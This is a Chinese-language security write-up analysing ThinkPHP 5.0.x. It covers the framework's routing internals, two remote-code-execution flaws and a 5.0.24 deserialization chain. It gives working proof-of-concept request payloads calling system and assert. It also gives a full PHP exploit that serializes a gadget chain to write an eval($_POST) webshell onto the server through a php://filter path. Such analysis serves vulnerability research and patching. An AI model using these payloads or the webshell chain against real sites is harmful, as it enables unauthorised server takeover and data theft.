TP5.0.xRCE&5.0.24反序列化分析
字数 2494 2025-08-20 18:17:31
ThinkPHP 5.0.x RCE及5.0.24反序列化漏洞分析
环境部署
- 测试环境1: TP5.0.22 + PHP 5.6.27-NTS + phpstorm2020.1
- 测试环境2: TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1 (反序列化分析)
目录架构
ThinkPHP 5.0的命名空间对应文件目录结构:
app命名空间对应application目录think命名空间对应thinkphp/library/think目录- 后续命名空间表示从起始目录开始的子目录
框架流程分析
1. 框架引导流程
-
入口文件 (
public/index.php)define('APP_PATH', __DIR__ . '/../application/'); require __DIR__ . '/../thinkphp/start.php'; -
框架引导文件 (
thinkphp/start.php)require __DIR__ . '/base.php'; App::run()->send(); -
基础文件 (
thinkphp/base.php)- 定义常量
- 引入Loader类
- 注册自动加载机制
- 支持Composer自动加载
- 注册命名空间定义
- 加载类库映射文件
- 自动加载extend目录
- 注册异常处理机制
- 加载惯例配置
-
执行应用 (
thinkphp/library/think/App.php)- 返回Request实例
- 应用初始化
- 检查模块控制器绑定
- 过滤Request实例
- 加载语言包
- 监听app_dispatch
- URL路由检测
- 记录调度信息到日志
- 请求缓存检查
- 执行调度
$data = self::exec($dispatch, $config) - 清除类实例化
- 输出数据到客户端
2. 路由检测流程
-
PATH_INFO处理
- 通过
$path = $request->path()获取path_info $depr为定义的分隔符(默认为/)
- 通过
-
路由检测步骤
- 检查路由缓存
- 读取应用路由文件(默认
route.php) - 导入路由配置
Route::check根据路由定义返回URL调度
-
Route::check流程
- 检查解析缓存
- 替换分隔符(
/换成|) - 获取当前请求类型的路由规则
- 检测域名部署
- 检测URL绑定
- 检查静态路由规则
- 检查路由规则
self::checkRoute - 检查参数有效性
- 替换路由ext参数
- 检查分组路由
- 检查特殊路由(
__miss__和__auto__) - 检查路由规则
checkRule - 检查完整规则定义
- 检查路由参数分隔符
- 检查是否完整匹配路由
- 未匹配路由进入
self::parseRule
-
路由定义方式
- 路由到模块/控制器
- 路由到重定向地址
- 路由到控制器的方法
- 路由到类的方法
- 路由到闭包函数
漏洞成因分析
1. Request类变量覆盖导致RCE
漏洞原理:
- 通过覆盖Request类的变量实现RCE
- 利用
__construct魔术方法覆盖原有数据
POC示例:
POST http://localhost/tp/public/index.php?s=captcha?s=captcha
_method=__construct&filter[]=system&method=GET&get[]=whoami
影响版本:
- 5.0~5.0.23
- 5.1.x低版本也可能受影响
漏洞利用流程:
App:run()启动,进行URL路由检测$request->path()获取兼容模式参数s- 进入路由检测
Route::check $method = strtolower($request->method())调用$request->method()- 查找
$_POST中的表单请求类型伪装变量 - 通过可变函数调用
$this->{$this->method}($_POST)进入__construct - 覆盖原有数据为POST数据
- 返回POST的
method=get - 执行回调方法中的
Request::instance()->param() - 通过
array_walk_recursive调用call_user_func($filter, $value) - 最终结果随报错页面一起输出
2. 路由控制不严谨导致任意类调用RCE
漏洞原理:
- 利用路由控制不严谨调用任意类方法
POC示例:
http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
影响版本:
- 5.0.x
- 5.1.x (Linux环境)
漏洞利用流程:
- 进入路由
$dispatch = self::routeCheck($request, $config) - 最终进入
Route::parseUrl - 通过分隔符替换将pathinfo打散成数组
- 进入
$data = self::exec($dispatch, $config) - 进入
$data = self::module确保模块可用 - 分别赋值模块、控制器、操作
- 通过
Loader::controller控制类调用 - 进入
App::invokeMethod反射调用类方法 - 结果随报错输出缓冲区显示
3. TP5.0.24反序列化利用链
利用链:
think\process\pipes\Windows::__destructthink\process\pipes\Windows::removeFilesthink\Model::__toStringthink\model\Pivot::toJsonthink\model\Pivot::toArraythink\Model::getAttr触发__callthink\console\Output::__callthink\console\Output::blockthink\console\Output::writelnthink\console\Output::writethink\session\driver\Memcached::writethink\cache\driver\File::setthink\cache\driver\File::setTagItem- 再次进入
File::set实现文件写入
EXP示例:
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files) {
$this->files = [$files];
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation) {
$this->parent = $output;
$this->append = array("xxx"=>"getError");
$this->error = $modelRelation;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation) {
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {}
}
namespace think\model\relation {
abstract class OneToOne {
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query) {
$this->selfRelation = 0;
$this->query = $query;
$this->bindAttr = ['xxx'];
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model) {
$this->model = $model;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle) {
$this->styles = ['getAttr'];
$this->handle =$handle;
}
}
}
namespace think\session\driver {
class Memcached {
protected $handler;
function __construct($handle) {
$this->handler = $handle;
}
}
}
namespace think\cache\driver {
class File {
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo base64_encode(serialize($window));
}
关键点:
- 利用PHP伪协议绕过
exit()限制 - 通过反序列化链最终实现文件写入
- Windows环境可用